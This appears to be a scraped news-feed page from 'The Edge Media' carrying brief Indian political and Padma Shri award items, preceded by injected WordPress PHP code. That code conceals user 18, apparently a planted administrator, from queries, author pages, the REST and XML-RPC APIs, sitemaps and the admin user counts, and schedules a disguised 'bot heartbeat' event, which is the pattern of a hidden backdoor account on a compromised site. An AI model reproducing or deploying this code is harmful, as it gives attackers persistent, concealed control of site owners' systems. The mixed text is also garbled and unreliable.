add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post With A Unique Gesture, A Transgender Folk Dancer Receives Padma Shri appeared first on The Edge Media.
]]>
Manjamma Jogati approaches the President in a video clip released by news agency ANI and then makes a gesture that many on social media interpreted as wishing him luck. She then accepts the trophy, a lovely smile on her face winning hearts. As he passes over the trophy, the President is moved by the gesture.
The post With A Unique Gesture, A Transgender Folk Dancer Receives Padma Shri appeared first on The Edge Media.
]]>The post Padma Shri 2020: Kangana Ranaut, Karan Johar, Ekta Kapoor honored appeared first on The Edge Media.
]]>
President Ram Nath Kovind will present them with the award. S.P. Balasubramaniam, a late vocalist, was also awarded the Padma Shri this year for his contributions to the arts. Kangana is seen wearing a lovely green-golden saree with stunning huge jhumkas and a white face mask in photos from the ceremony that have been making the rounds on social media. Adnani Sami, a musician, looked suave in a black sherwani with golden embroidery.
The post Padma Shri 2020: Kangana Ranaut, Karan Johar, Ekta Kapoor honored appeared first on The Edge Media.
]]>The post ‘Terrorist party’: YSR Congress leaders meet President, seek TDP’s derecognition appeared first on The Edge Media.
]]>
YSR Congress leader and Member of Parliament V Vijayasai Reddy, who was part of the delegation said: “All our MPs met President today and explained to him the filthy language used by TDP functionaries, particularly Chandrababu Naidu, his son Lokesh and spokesperson Pattabhi against our party and leader Jagan Mohan Reddy. We’ve requested the President to derecognize TDP.”
The post ‘Terrorist party’: YSR Congress leaders meet President, seek TDP’s derecognition appeared first on The Edge Media.
]]>